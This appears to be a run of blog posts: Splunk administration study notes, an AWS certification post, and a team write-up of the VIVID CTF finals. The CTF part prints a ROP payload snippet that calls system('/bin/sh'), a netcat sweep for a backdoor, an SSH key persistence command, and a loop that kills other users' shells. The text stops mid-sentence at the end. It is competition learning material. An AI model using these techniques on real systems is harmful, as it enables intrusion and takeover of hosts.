pull logs and create dashboards for network monitoring. User → A User has basic access, primarily for searching, viewing, and interacting with dashboards and reports. Their permissions are typically limited to specific roles and datasets. Users cannot edit, create, or manage knowledge objects or settings. Capabilities: Run searches and view results, but no modification of searches. Can view and interact with dashboards and reports created by Power or Admin users. Limited data access: Can access only the data for which they have been explicitly granted permissions. Cannot delete data or modify system settings. Use cases: View data: Basic users can be restricted to viewing specific datasets or dashboards for operational oversight. Read-only access: Non-administrative roles that need read-only access to data for analysis. Ex. A sales team member using dashboards to view sales performance metrics but unable to modify queries or create new reports. Can Delete → A Can Delete user has additional permissions to delete data within Splunk, often required for users managing logs, compliance, or dealing with sensitive data. This is a role that can be assigned in conjunction with other base roles like User, Power, or Admin. Capabilities: Delete data from the system (either individual events or entire datasets). Can remove data from specific indexes based on retention policies or manual deletions. Cannot configure system settings or modify access control. Use cases: Data management: Deleting logs or sensitive data that is no longer needed. Data pruning: Used to manually remove expired or archived data from indexes. Ex. A compliance officer deleting logs that are older than the required retention period (as per internal policies). Viewer → A Viewer role is typically a read-only role for non-interactive users who need to see data without making changes, modifications, or running their own searches. It’s often used for dashboards or reports consumption. Capabilities: View dashboards, reports, and pre-built queries. No search or creation access; can’t save, modify, or create any data or reports. Can’t delete data, configure settings, or access raw event data directly. Use cases: Read-only reporting: Users that only need to see specific reports or dashboards. Non-interactive data consumption: Those who don’t need to interact with or manipulate data directly. Ex. A manager viewing pre-built dashboards showing system status and performance metrics without being able to modify the underlying data or queries. authorize.conf → Roles can be added or removed in this file or Splunk web LDAP Authentication Splunk’s LDAP (Lightweight Directory Access Protocol) integration allows you to authenticate and authorize users using an external LDAP directory service (such as Microsoft Active Directory, OpenLDAP, etc.) for centralized identity management. It enables Single Sign-On (SSO) and user role assignment based on LDAP group membership. Authentication: Splunk uses LDAP credentials for user login. Authentication is handled by the LDAP server. Authorization: Splunk can map LDAP groups to Splunk roles, assigning permissions based on group membership. Syncing users: Splunk can import LDAP users and assign roles automatically or manually based on LDAP group membership. SSL support: Splunk supports LDAP over SSL for secure connections (LDAPS). Search mode: Splunk can configure search parameters based on group membership authentication.conf → The configuration file where LDAP authentication settings are defined. authorize.conf → Where role mappings from LDAP groups to Splunk roles are set. LDAP over SSL (LDAPS): Use port 636 for secure LDAP communication. x.500 Style Directory → Defines a hierarchical database of objects on the network. Objects can be users, groups, printers, disks, almost anything else on a network Attributes: DN → Distinguished Name, an entry’s unique identifier. Composed of multiple attributes CN → Common/Canonical Name OU → Organizational Unit DC → Domain Component SN → Surname Splunk LDAP Attributes: bindDN → The Distinguished Name (DN) that Splunk uses to bind to the LDAP server and authenticate the user. This is a service account with access to search for users in the LDAP directory. bindDN = cn=admin,dc=example,dc=com bindDNPassword → The password for the bindDN account. It’s used by Splunk to authenticate against the LDAP server. bindDNPassword = password123 userNameAttribute → The LDAP attribute that holds the username for authentication. Commonly used attributes are uid or sAMAccountName userNameAttribute = uid searchBase → The LDAP base DN to search for users. It defines the starting point in the LDAP directory for the user search query. searchBase = ou=users,dc=example,dc=com searchFilter → The LDAP search filter that determines how users are located within the LDAP directory. The %s placeholder will be replaced by the actual username being authenticated. searchFilter = (uid=%s) Example: [LDAP] authType = LDAP ldapURI = ldap://ldap.example.com:389 bindDN = cn=admin,dc=example,dc=com bindDNPassword = password123 searchBase = ou=users,dc=example,dc=com searchFilter = (uid=%s) userNameAttribute = uid groupSearchBase = ou=groups,dc=example,dc=com groupSearchFilter = (member=%s) roleMappingAttribute = memberOf roleMap = "admins" => admin, "power_users" => power sslBind = true Attributes LDAP Connection Settings Host Port Bind CN User Settings User base CN User base filter User name attribute Real name attribute Email attribute Group mapping attribute Group Settings Group base DN Static group search filter Group name attribute Static member attribute Dynamic Group Settings Dynamic member attribute Dynamic group search filter Distributed Search Distributed Search in Splunk allows you to search across multiple Splunk instances (indexers, search heads) that are part of a distributed deployment. Search Heads: These are the instances that run the search jobs and aggregate results from multiple indexers. Splunk can scale horizontally by adding more search heads. Indexers: These handle the actual data storage and indexing. In a distributed environment, indexers store data and perform searches on it when queried by the search heads. Provides Horizontal Scaling, Access Control, Geo-dispersed Data Search Head Clustering (SHC) is a distributed architecture in Splunk that provides high availability, scalability, and load balancing for search heads. A deployer is a special Splunk instance used to distribute configuration files and apps to all search heads in a Search Head Cluster. How it works: Search heads submit search queries to search peers (indexers) for processing. The master node in the search head cluster coordinates the search jobs and aggregates results from multiple search heads. The deployer keeps the search heads synchronized by distributing configuration files and app updates. Indexing Phases Data Input → Forwarding, Monitoring, Network, Scripted Parsing → Breaks the data stream into individual events Indexing → Writes the parsed data into index buckets Configuring Forwarders Steps: Configure receiving on an indexer or cluster Install the UF Start the UF & accept the license agreement Configure the UF to send data Configure the UF to collect data from the host it is on Intermediate Forwarders → A forwarder that receives data from one or more forwarders and then forwards it on to indexers (or another forwarder). In practice this role is almost always a Heavy Forwarder (Splunk Enterprise) because only Splunk Enterprise instances can be configured as receivers. Lets you route & filter events (props/transforms) and optionally drop/mask or split traffic before it reaches indexers. Configured with outputs.conf to define target indexer groups, load-balancing, SSL, and (optional) indexer acknowledgments. Multiple Pipeline Sets → The forwarder can process multiple events at the same time A feature that lets an indexer (or forwarder) run more than one end-to-end ingestion pipeline set in parallel—each pipeline set receives data, parses it, and writes to diskboosting ingest throughput on multi-core hosts. Useful for machines with more than one core Setup → /etc/system/local/server.conf [general] parallelIngestionPipelines=2 Forwarder Management Splunk’s Forwarder Management is the Splunk Web UI on a deployment server that lets you group deployment clients into server classes and map deployment apps to them for centralized config/app distribution and lifecycle control. It writes to serverclass.conf and coordinates clients that “phone home” via the management port. Deployment Server A Splunk Enterprise instance that centrally distributes apps and configuration updates to groups of deployment clients (UF/HF/Enterprise nodes). The Forwarder Management UI on the deployment server maps server classes → deployment apps, and clients phone home over the management port to fetch changes. Groups Splunk components by common characteristics Distribute content based on those groups Windows Server Group Linux Server Group Email Group Deployment Server Architecture Deployment Server → A Splunk instance that acts as a centralized configuration manager Refresh Command → splunk reload deploy-server Deployment Client → A Splunk instance remotely configured by a deployment server Deployment App → A set of content (including configuration files) maintained on the deployment server A packaged set of configs/content placed on the DS (under etc/deployment-apps/<appname>/) that the DS distributes to matching clients; once downloaded, the app is installed under etc/apps/<appname>/ on the client. You define which clients get which apps via server classes in serverclass.conf. Server Classes → A group of deployment clients that receive particular deployment apps Grouping can be based on many different criteria A client can belong to more than one server class How it works: Each deployment client calls home periodically The deployment server determines the set of deployment apps for the client, based on which server classes the client belongs to The deployment server gives the client the list of apps that belongs to it The client compares the app info from the deployment server with its own app info, to determine whether there are any new or changed apps that it needs to download If there are new or updated apps, the deployment client downloads them Depending on the configuration for a given app, the client might restart itself before the app changes take effect (Mgmt port 8089) ┌─────────────────────────┐ phones home / fetches apps │ Deployment Server │◀──────────────────────────────┐ │ • Forwarder Mgmt (UI) │ │ │ • serverclass.conf │ │ │ • etc/deployment-apps/ │ │ └───────────┬─────────────┘ │ │ maps apps to server classes │ │ │ ┌───────────▼───────────┐ ┌──────────────────────▼──────────┐ │ Server Class A │ │ Server Class B │ │ → App(s): TA_linux │ │ → App(s): TA_windows, outputs │ └───────────┬───────────┘ └───────────┬──────────────────────┘ │ │ ┌──────────▼─────────┐ ┌─────────▼─────────┐ │ Deployment client │ │ Deployment client │ │ (UF/HF/Enterprise) │ │ (UF/HF/Enterprise) │ └────────────────────┘ └────────────────────┘ Network Inputs Network inputs let Splunk listen on TCP or UDP ports for incoming data (raw streams or Splunk-to-Splunk traffic from forwarders) via stanzas in inputs.conf TCP is recommended Splunk can act as a syslog server or syslog message sender Splunk recommends an intermediate universal forwarder to listen on the UDP port SNMP → Simple Network Management Protocol Write it to a file on the Splunk Enterprise server, then monitor that file Scripted Inputs A scripted input is an executable (shell/Python/PowerShell, etc.) that emits events, which Splunk ingests on a schedule or continuously—configured with [script://...] stanzas in inputs.conf Splunk allows to prepare data from a non-standard source so Splunk properly parses it Types → Streaming & Writing to a file What they do: Run scripts to pull from APIs, CLIs, message queues, DBs, or to emit host metrics (vmstat/iostat). Where to run: On forwarders (UF/HF) or full Splunk Enterprise; forwarders usually forward, not index. How to configure: Place script in app bin/, define [script://./bin/<script>] with interval (seconds) or run continuously with interval=0. # Poll an API every 60s [script://./bin/poll_api.sh] interval = 60 sourcetype = api:json index = ingest disabled = 0 Agentless Inputs Ways to get data into Splunk without installing a Splunk forwarder on the source. Windows Input Types Windows Event Logs perfmon WMI → Windows Management Infrastructure Registry Active Directory HEC (HTTP/HTTPS push): Applications/services send JSON over HTTP(S) with a HEC token; supports indexer acknowledgment for reliability. Allows to send data directly to Splunk over HTTP(S) Especially useful for client-side web application monitoring(SPA) Process: Logging Data Using a token with the data Sending the data request Verifying the token Indexing the data Format to send data to HEC → <protocol>://<host>:<port>/<endpoint> Send To: /services/collector /services/collector/raw <protocol>://<host>:<port>/<endpoint> -H "Authorization: Splunk <token>" -d Syslog / raw network ports: Splunk listens on TCP/UDP (e.g., 514) or S2S (splunktcp); Splunk recommends SC4S for scalable syslog collection. WMI (Windows agentless): A Splunk instance (often an HF) remotely polls Windows hosts for Event Logs/Perf via WMI—no UF required on targets. Fine Tuning Inputs Practical knobs in inputs.conf (and a few related configs) to control what, how, and how fast data is ingested—covering file monitors, network listeners, scripted inputs, and HEC. Setting a sourcetype → When you add data, you can specify or create a new sourcetype Application Context → Which app Splunk will write the .conf files to Configure host value → The default value is the DNS name of the machine You can set it to use the IP address, or specify your own hostname Index → You can use a built-in index, or create a new index Character Set Encoding Splunk defaults to UTF-8 character encoding If the source does not use UTF-8, Splunk attempts to convert it You can specify a character set to use in props.conf using charset=<string> Parsing Phase & Data Break → Splunk splits the incoming stream into events using line-breaking rules defined per sourcetype in props.conf (on the parsing tier: HF/indexer). Best practice: disable line-merge and set an explicit LINE_BREAKER SHOULD_LINEMERGE = false LINE_BREAKER = ([\r\n]+)\d{4}-\d{2}-\d{2}\s\d{2}:\d{2}:\d{2}\s [\r\n]+ → Regex that Splunk uses to search for line breaks in raw data \r → Carriage return \n → Line feed [] → Character set + → Match one of more of the preceding token(s) Timestamps → For each new event, Splunk finds and parses the time to set _time. Control with: TIME_PREFIX (where to start) → TIME_PREFIX = ^\[ MAX_TIMESTAMP_LOOKAHEAD (how far to read) → MAX_TIMESTAMP_LOOKAHEAD = 30 TIME_FORMAT (the pattern) → TIME_FORMAT = %Y-%m-%d %H:%M:%S,%3N optional TZ → Time Zone Splunk Default TZ for Timestamps → Time zone of the Splunk Instance Values in _time field are stored in UNIX time Splunk assumes that any data indexed is in the time zone of the Splunk instance Annotate events → Add metadata Events are stamped with default fields—host, source, sourcetype (and target index)—derived from inputs and/or rules. You can override at parse time with props.conf + transforms.conf using _MetaData:* targets. Transform → manipulate or route or drop Regex-based transforms run during parsing to mask, rewrite, route, or drop events. Tools: TRANSFORMS-* stanzas (to set metadata or queue = nullQueue), and SEDCMD-... for inline redaction. Parsing = Break → Timestamp → Annotate → Transform, then events move to the indexing phase for storage. Manipulating Raw Data Index-time controls that change, route, or drop events before they’re written to disk—implemented with props.conf + transforms.conf (parsing tier: HF/indexer) Why Transform Masking sensitive data before it gets indexed HIPAA, PCI, GDPR Event Routing → Route specific data to specific indexes Methods to transform / route / mask SEDCMD (props.conf): Inline sed-style substitution to redact/clean text (fast, simple). Parsing tier only. TRANSFORMS (props+transforms): Regex-driven actions to route (_MetaData:Index), retag (_MetaData:*), or drop (queue = nullQueue). INGEST_EVAL: Add/alter fields (e.g., hash a value) at ingest using eval functions. Scope & where: Apply these on Heavy Forwarders / indexers (the parsing tier), not UFs. Transformations with props.conf & transforms.conf Anonymize Data → Masks or rewrites sensitive substrings in the event body before indexing. SEDCMD-hide_pwd = s/password=\S+/password=********/g Override sourcetype or host → Sets or corrects sourcetype and host at parse time—globally or per-event. Use a transform that writes to _MetaData:Sourcetype and/or _MetaData:Host. For per-event ST overrides, see “Advanced sourcetype overrides.” Route events to specific indexes → Sends some events (by pattern, source, or host) to a particular index. Write _MetaData:Index in a transform; attach the transform in props.conf. Prevent unwanted events from being indexed → Drops matched events during parsing so they never reach disk. Send them to queue = nullQueue via a transform. You can combine “drop all” then “keep some” by chaining transforms. SEDCMD → SEDCMD-<label> is a props.conf setting that applies a sed-style substitution to the event’s _raw text at index time (on the parsing tier: HF or indexer). It’s commonly used to mask/anonymize, remove, or reformat substrings before the event is written. SED → UNIX / Linux Stream Editor → Edits data in real time, as it’s coming in(streaming) Replace strings(s) & substitute characters(y) SEDCMD → Key-Value pairs into props.conf In inputs.conf, we tell Splunk where the data is Mask a password value → SEDCMD-mask_pwd = s/password=\S+/password=********/g Format → s/<regex>/<replacement>/g \g Flag → Indicates a Global Search Splunk Platform Directory Structure SPLUNK_HOME ├── bin │ └── Splunk commands ├── etc │ ├── apps │ │ └── Config files packaged as apps │ ├── users │ │ └── User-specific config files │ └── system │ └── System-wide config files ├── var │ ├── log │ │ └── Log files │ └── lib │ └── Indexes Splunk App Directory Structure $SPLUNK_HOME/etc/apps/<app> ├── bin │ └── Scripts ├── default │ └── Configuration Files │ ├── app.conf │ ├── limits.conf │ └── ... ├── local │ └── Configuration Files │ ├── app.conf │ ├── limits.conf │ └── ... └── metadata ├── default.meta └── local.meta Index-time Precedence Index-time Precedence ├── etc │ └── system │ ├── local (1) │ └── default └── apps ├── app1 │ ├── local (3) │ └── default (5) └── search ├── local (2) └── default (4) Search-time Precedence Search-time Precedence ├── etc │ └── system │ └── local (6) └── apps ├── app1 │ ├── local (2) │ └── default (3) ├── search │ ├── local (4) │ └── default (5) └── users ├── admin │ └── app1 (7) └── john(username) └── local (1) Notes Training Splunk makes use of dashboards to find patterns in data Configuration files (.conf) contain stanzas and settings (or attributes) Deployer manages the search head clusters Splunk Enterprise components fall into two categories: Processing & Management Splunk Home Directory → /opt Default Splunk Index → main Universal Forwarders can be configured to send data to Splunk Cloud platform using the forwarder credential app Timestamps are converted to UNIX time & stored in the _time field The Search Job Manager (accessible via Activity > Jobs) allows you to monitor, pause, inspect and manage active & completed search jobs Lookup Definitions → Settings → Lookups → Lookup Definitions Automatic Lookups → Can be configured in props.conf using the LOOKUP-<lookup-name> stanza specifying the lookup definition & the fields to match & add Many user-specific preferences, including the default time range, can be customized in your user profile settings values() → Returns a list of unique values for a given field of each group. _time → _time field extraction & format are primarily defined by configurations associated with the sourcetype in props.conf last() → Returns the value of the specified field from the latest event in a group latest() → is an alias for last() Denote a → Alphanumeric Values (both characters & numbers) # → Only contains numbers " → Only characters, no numbers Process of creating Automatic Lookups Settings → Lookups Add New Choose the destination app Give your automatic lookup a unique name Select the lookup table you want to use In the Apply to menu, select a host, source or source type value to apply the lookup & give it a name in the named field Under the lookup input fields provide one or more pairs of input fields Under the lookup output, fields provide one or more pairs of output fields Select Overwrite field values to overwrite existing field values in events when the lookup runs Click save By default, Splunk retains a completed search job for 10 minutes after it finishes. Can be extended to 7 days → by scheduling a report Scheduled reports & alerts can only run as Owner If you share a report so that it runs as User & then schedule that report, its permissions change to run it as owner inputlookup → Command used to review the contents of a specified static lookup file top command → Common Constraints → limit, showperc, countfield Naming Convention for Dashboards → Group_Object_Description | dbinspect index=* → Shows bucketId & other information like state, etc. A pipe can always follow a macro in Splunk. This allows users to further manipulate and analyze data output from the macro using additional commands in the search pipeline. Splunk Field Extractor (FX) delimiters → Tabs, Pipes, Spaces, Colons Fields extracted using the Field Extractor persist as knowledge objects. Users are the group of individuals who would most likely use pivots in Splunk. Priority is the correct factor that determines the color displayed for an event in Splunk when multiple event types with different color values are assigned to the same event. Events with higher priority values will be displayed with the corresponding color assigned to them. Event Actions > Extract Fields → Automatically identifies the data type, source type, and sample event By default, acceleration is turned off in the Splunk Common Information Model (CIM) add-on. This means that data models and datasets are not pre-built for faster search performance unless explicitly enabled by the user. tostring Formats: “auto” → Default. Converts numeric to string automatically based on value type. “commas” → Adds thousands separators to numbers. Example: 1234567 → “1,234,567” hex → Converts number to hexadecimal string. Example: 255 → “0xff” oct → Converts number to octal string. Example: 8 → “010” “bin” → Converts number to binary string. Example: 5 → “101” “duration” → Converts seconds to human-readable time. Example: 3661 → “1h 1m 1s” “round” → Rounds numeric value to nearest integer before converting to string. “fixed=” → Converts number to string with fixed decimal places. Example: 3.14159 → tostring(value,“fixed=2”) → “3.14” “scientific” → Converts number to scientific notation string. Example: 12345 → “1.2345e4” fillnull → Use fillnull to replace null values in fields Use value=string to specify a string you want displayed instead Example: fillnull value=NULL If no value= clause, default replacement value is 0 You can create datasets for your data model by define their constraints and fields. Bubble Chart → Bubble chart provides a visual way to view a three dimensional series. Each bubble plots against two dimensions on the X and Y axes. The size of the bubble represents the value for the third dimension. Splunk Home Directory → /opt/splunk Splunk supports configuration management through third party tools like → SaltStack, Puppet, Chef Batched files are ingested, then deleted Splunk stores data in 64k block size Default Host Value → DNS name of the machine splunk validate files → Command used to validate the syntax of the config files without need to restart the Splunk instance Replication Factor → Determines the number of copies of data across indexer peers for redundancy Search Factor in Splunk Indexer Cluster → Used to specify the number of searchable copies of data available in the cluster → Determines how many copies are searchable Determines the minimum number of searchable copies needed for data availability during searches. splunk btool → Command used to display the effective configuration settings for a specific file transforms.conf → Used to define rules for transforming & manipulating data during indexing HTTP Event Collector: Data is sent to a specific HTTP endpoint on the Splunk Instance HEC uses tokens for authentication Problem: Recent data not appearing in searches Indexers have reached their license capacity & are blocking indexing splunkd process on the indexers is not running or unhealthy Disk space on the indexers’ data volumes are full Attributes for Data Retention Policy in indexers.conf maxWarmDBCount coldPath frozenTimePeriodInSecs _internal index → Pre-configured with the Splunk Enterprise serverclass.conf → File maintained by the Deployment Server(DS) that contains the mapping details of apps to forwarders It defines which forwarders receive which apps based on specific criteria Indexers stored at → $SPLUNK_HOME/var/lib/splunk Once data is written to a Splunk index → It generally considered immutable Splunk Developer License Allows 10GB / day → Exceeding triggers license warnings Issued for 6 months It cannot be stacked with any other licenses The priority of Splunk Config Files depends on → Contexts Global Context User/App Context distsearch.conf → Used to setup distributed search groups Splunk Re-index → splunk clean eventdata -index _fishbucket repFactor=auto → Configure in indexes.conf on all peer nodes to activate replication for an index in an indexer cluster How to remove missing forwarders from Monitoring Console: Manually remove Individual Forwarders Rebuild Forwarder Assets In network input, hostname → Default host attribute collections.conf → Used to define KV Store collection Minimum Reference Server for Indexer → 12 CPU Cores, 12GB RAM, 800 IOPS deploymentclient.conf → This file on forwarder stores the necessary information to establish a connection with a deployment server Naming Convention for Warm Buckets db_<earliesttime>_<latesttime>_uniqueid persistentQueueSize → Enables the storage of data on disk when the in-memory queue is full Splunk License Violation Free → Immediate block if daily cap exceeded Search is disabled until next day Enterprise Trail → 5 warnings / 30 days → violation Search is disabled until resolved Enterprise <100 GB/day → >=45 warnings in 30 days → Violation Search is disabled until resolved Enterprise >100 GB/day → Unlimited warnings Search never blocked _TCP_ROUTING → Config in inputs.conf → Allows to selectively forward data to specific indexer(s) The Native Splunk Authentication scheme takes precedence over any external schemes User Role Inheritance → Splunk allows a child role to inherit capabilities & index access from a parent role Persistent Queues(PO) → A feature in Splunk that help prevent data loss when a forwarder or indexer is temporarily unable to send or process data There is no hard limit to the max number of SHC members that the KV store can support KV Store lookups are backed by a configuration called collection _introspection → This index stores Splunk resource consumption & performance External Lookup → also known as scripted lookups because they utilize scripts to fetch data from external sources during search time autoLBFrequency → outputs.conf file → Specifies the number of seconds the forwarder should wait before performing a load-balancing check & potentially switching to another indexer in the list splunk set deploy-poll <deploy-server:port> → the deploymentserver.conf file is created in the $SPLUNK_HOME/etc/system/local directory * → wildcard ... → Recurses through subdirectories Stanzas in transforms.conf to manipulate or remove events → REGEX, DEST_KEY, FORMAT License Location → $SPLUNK_HOME/etc/licenses Sever Class → The attribute in the forwarder management interface that determines which apps client install Bucket Storage → colddb, db, thaweddb Data Integrity Checking → indexes.conf

Intro I’m Officially AWS Certified! 🎉 View the badge on Credly In this blog, I’ll tell you what I studied, share the links I used, give some easy tips, and explain how I passed the AWS Cloud Practitioner exam, so you can do it too! My 2-Week Prep Plan Week Focus What I Did / Will Do 1 Learn • Watch the entire Udemy course at 1.25× speed, pausing for notes. • Keep the Tutorials Dojo cheat-sheet open as a quick reference while studying. 2 Practice • Take at least two full-length practice exams and review every wrong answer. • Re-watch weak-area lectures on Udemy (billing, support plans, security). Resources I Recommend Learn Udemy Course – AWS Certified Cloud Practitioner (CLF-C02): https://www.udemy.com/course/aws-certified-cloud-practitioner-new/ ...

Intro Dhanraj Chavan, Jeetesh Gowder, Mayank Ramnani, Pratham Gupta & Sourabh Rajguru participated in the VIVID CTF finals organized by NCAE. We advanced through the qualifications and competed in the in-person finals held in Augusta, Georgia. The competition spanned four days and featured various events: a jeopardy-style CTF, red team challenges, blue team challenges, and a king-of-the-hill round. We secured 5th place in the finals among 15 teams. They provided us with fully functional Kali Linux and Windows machines, which we could access directly through our web browsers, similar to HackTheBox Pwnbox. Therefore, we don’t have the solver scripts, but we will explain the challenges in detail. ...

Intro Challenges were categorized into common CTF domains—Reverse Engineering, Web Exploitation, Binary Exploits, Cryptography, Digital Forensics, and Networking. One of the hard challenges was, Binary Challenge We began by loading the binary into Binary Ninja to understand what it did and where it might be vulnerable. We found that the binary was protected with common security measures: non-executable stacks, stack canaries, and Address Space Layout Randomization (ASLR). These would make a simple buffer overflow attack much harder. Then, we noticed a function that handled user input in a suspicious way. It read more data than expected and wrote it into a fixed-size buffer. This hinted that we might be able to overwrite important data next to that buffer, maybe something like a function pointer stored in the Global Offset Table (GOT). We needed a memory address leak to get past ASLR. The binary did print out some debugging info, which included a memory address. With that address, we could figure out where libc was loaded in memory. With NX enabled, we couldn’t just put our shellcode on the stack. Instead, we used a ROP chain to call system("/bin/sh") from libc. Hence using a python script using pwntools, First we leak the memory address of puts and using this we get libc’s base address. Using this, we get system and bin sh address using: libc_base = leak - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] bin_sh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))) Then to craft the ROP payload, First we find a gadget like pop rdi; ret using ROPgadget Then, push the address of /bin/sh onto the stack so that pop rdi; ret sets rdi to /bin/sh Finally, call system() to run the shell. payload = b'A' * offset payload += p64(rop.chain())

Intro We were given multiple linux and windows machines to attack and gain flags, each challenge set us up for the next few challenges, one of the hard challenges was: Gaining Access to Emails on Windows We had several windows machines in the subnet but we had to access emails of the user “Joe” on one of the machines. We had credentials for one of the windows machines from a previous web challenge based on sql injection which was solved by running sqlmap on the login page. To access any of the windows machines, we had to use Remote Desktop Protocol (RDP). After logging in through RDP, our account didn’t have administrator privileges and we had limited remote tooling. We then started enumeration, we noticed Joe under C:\Users\ but didn’t have access to any of the files. We tried using proxychains first as we had access to another windows machine which was in the same network as this windows machine but after wasting 1 hour on it and making the connection work, even that machine didn’t have access to Joe’s account. Then we noticed one of the applications installed was Mozilla Thunderbird, an email client. The challenge said to find the emails so maybe this might be the way. Thunderbird stores each user’s emails, account details, and saved credentials within their own profile directory, typically found at: C:\Users\<username>\AppData\Roaming\Thunderbird\Profiles\<randomstring>.default\ Thunderbird holds several key files: prefs.js: Configuration and account settings key4.db and logins.json: Encrypted saved passwords .mab / sqlite files: Address books and other metadata Mail/ImapMail: Containing the actual stored emails in MBOX or Maildir-like formats But we still needed Joe’s local password, we found this on the system login log files which were not stored securely as it was in the backups directory. Now we logged in through Thunderbird using Joe’s credentials, then we were able to see his emails but the contents were encrypted. Then using Cyberchef, we decrypted it using the Blowfish decrypt tool. Then we finally got the flag.

Intro Blue team challenges were comparatively easier than the other days as most of it included analyzing log files, pcap files and firewall configurations. One of the interesting challenges was: Detecting a Brute-Force Attack from Windows Logs We started by looking at the Windows Event Logs. Specifically, we focused on the Security and System logs since they record information about login attempts and network connections. To open these logs, we used the built-in Event Viewer on Windows. The logs contain thousands of entries, making it hard to spot suspicious activity at first glance. We applied filters to look for events that indicated failed login attempts. In Windows, these typically show up as events with certain IDs (for example, Event ID 4625 for failed logins). Once we isolated failed login attempts, we noticed a pattern, a single IP address showing up repeatedly, trying to log in to the system within the same timeframe. Normal users don’t fail logins so many times in a row, especially not that quickly. Within the event details, we found fields that listed the source IP address. This is the address from which the attack attempts were made. By examining related firewall logs or the event’s network information, we also identified the port that was being targeted, 3389 Remote Desktop Protocol (RDP) We counted how many failed login events came from the same IP within a certain time frame. The logs clearly showed many coming in the same second. Then we got the flag after we gave the right answer to the question, State the number of login attempts made using brute forcing? We learned how to use event viewer to find the right logs to analyze and how to read and extract data from log files.

Intro King of the Hill (KotH) Challenges involve a user taking control of a server and leaving their identifier on a specified target server/application. This indicates which user/team has control of the server. Network 1. Team Subnets: Each team has a subnet containing: 1 Boundary Vyos Router at .1 IP, which connects to the Hill Subnet. 5 Kali Linux Systems for offensive actions. 1 Flag Server at .100 IP, where each team needs to place their CTF ID in owner.txt to score points. 2. Hill Subnet (192.168.20.0/24): Contains vulnerable Linux, Windows 10, and Windows 11 flag servers. Also includes a Big Hill server that awards 3 points per poll if captured. Off-limits Hill (VIVID Flag): A restricted flag that incurs penalties if captured. 3. Access Control and Credentials: Each team’s boundary router can be accessed via SSH on port 22 using vividctf:vividctf. Each team’s flag server is accessible via SSH on port 22222 with vividctf:vividctf. Boundary routers block external incoming traffic on ports 22 and 3389 by default. Each team is allowed to sabotage others by modifying configurations, except on their Kali systems. 4. Objective: Teams need to place their CTF ID in the owner.txt file on their own flag server and on as many Hill Subnet flag servers as possible. Points are awarded every 60 seconds based on the contents of owner.txt files in each server. Each team can reach the Hill Subnet as well as other teams’ subnets, enabling cross-network attacks and defenses. Action Plan: 1. Planning and Team Strategy At the outset, we conducted a team discussion to devise an action plan. Roles were distributed as follows: 2 members focused on attacking: Their goal was to target opponent systems and the Hill subnet. 2 members focused on defending: They ensured the security of our subnet and servers. 1 member focused on reconnaissance: This role was crucial for gathering intelligence on other teams and the Hill subnet. 2. Initial Target: Routers Our first target was the boundary routers of other teams. By compromising their routers, we aimed to disrupt their communication and gain a strategic advantage. This step ensured we could manipulate or observe network traffic as needed. 3. Hill Subnet Reconnaissance After running a host scan on the Hill subnet, we discovered multiple machines with active services. To identify the services running on these machines, we executed a service detection scan using the following command: nmap -iL hill.txt -p- -sV 4. Discovery of Unusual Activity During the scan, one machine stood out with over 500 open ports in the range of 32000 to 60000. Nmap failed to identify the specific services on these ports due to the use of decoys, which masked the actual services. 5. Flag Server Review When we obtained access to our flag server, we conducted a thorough review of all the open ports and running services on the machine. We found that there was a Python service running on a randomized port between 40000-60000 which could grant anyone backdoor access to the machine given a correct string input payload. Our assumption was that the initial state of all the flag servers in the competition would be the same, and thus the backdoor would exist on flag servers of all teams. 6. Automated Port Scans Our assumption was proven correct when we did a port scan in the range 40000-60000 on other team’s flag servers, and found one port giving us different output than the others. This was done using the following command: for port in {40000..60000}; do nc 192.168.2.100 $port; done This allowed us to iterate through the ports and look for unexpected responses. 7. Exploiting a Backdoor Once the port was identified, exploiting the backdoor was as simple as crafting a payload that was sent after we established a connection using the above netcat command. The backdoor gave us a limited /bin/sh shell, which we transformed into a full fledged shell with: /bin/bash -i Thus, now we had full access to the flag servers of multiple teams. We also made sure to patch the running backdoor on our flag server so as to not be compromised the same way by other teams. 8. Claiming Flag Servers The scoring system of the competition was based on which team’s flag was in the /root/owner.txt file of each flag server. Initially, we edited the owner.txt file to claim ownership and earn 3 points per minute. However, we couldn’t establish persistence, and an opposing team eventually removed our access by stopping our shell process and patched the backdoor. 9. Web Server Exploitation On further analysis of the flag server, we also discovered a running web server. Nmap scan report for 192.168.2.100 Host is up (0.00048s latency). Not shown: 999 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Node.js Express framework Through reconnaissance and testing, we identified a command injection vulnerability in the web application. Exploiting this vulnerability, we regained access to the machine through this alternative vulnerability. 10. Establishing Persistence This time, so as to not get kicked out of the flag servers by opposing teams, our first goal was to establish persistence. This was done via a few steps: Putting our ssh public key in ~/.ssh/authorized_keys: echo “ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCqIvZaOr0exvLzNtjueoj3qyYydaHFgSgbjn3OqE6XVgydjIP4cIfN2xOxrT56JQODsoBya8HLrRrejNaLw6sK+8+8Vh+J/kp5Qb3J4kmVdosvWhWV/QWlTlmVassAwz0laZHTZucbYtH45zJ9RpjWpgbBCmgc8s5LN+88ZQcob17F0+r/GeBH+3KBzV/CccPV+0nQ2Umr94UDqixDUMEI1oOmi88jV/EUVIgP9l8Wjz0AfcCLKG0mT7EIiQpPsN2GfYQ0lcJBpp2+OIcqwZ7q4DgGQOz1OKgbTemC3XZ6fGsNxtbrdzGvwKo4c3LLm/DKI5hVx826NiWikNNox/9kM1VipqfnOozsQLdN6CjGUarExlsvHb6iP/UHHc537jB3ZiYHKHeE1tbkiBFKOAFHfw8VkY+s7SQCcMLOuID91epMUQoKIp2pXU88wYEQuf7t0J/9/pJRbaK8VI+mVPCSVcZ5K2zSw+J/W3qVpIjnGuqPK8bJa0ftGfqgXBBPkk0= mayank” > ~/.ssh/authorized_keys Changing the root password to something only our team knew Kicking all the other people on the server by terminating their bash processes using the following command: current_pid=$$; for pid in $(pgrep -x bash | grep -v "$current_pid"); do kill -9 $pid; done Doing this on a few flag servers, we now had full exclusive access to multiple flag servers. 11. Locked Permissions and Claiming Flags Upon regaining persistent access, we found that the permissions on owner.txt had been locked using the chattr command, making it read only and preventing us from modifying the file. We discovered this by getting errors when writing to the file even though we were root, the file was owned by root and the file had permissions 0o644. On checking the file using lsattr we confirmed that the write attribute had been removed, thus we needed chattr to add the write attribute back to the file. Additionally, the chattr command was also removed from its original location in the /bin/ directory. This step, likely implemented by the opposing team before we kicked them, was to mitigate our attempts to claim points. However, on searching for the whole chattr binary in the whole filesystem, we found it hidden in a randomly named directory: 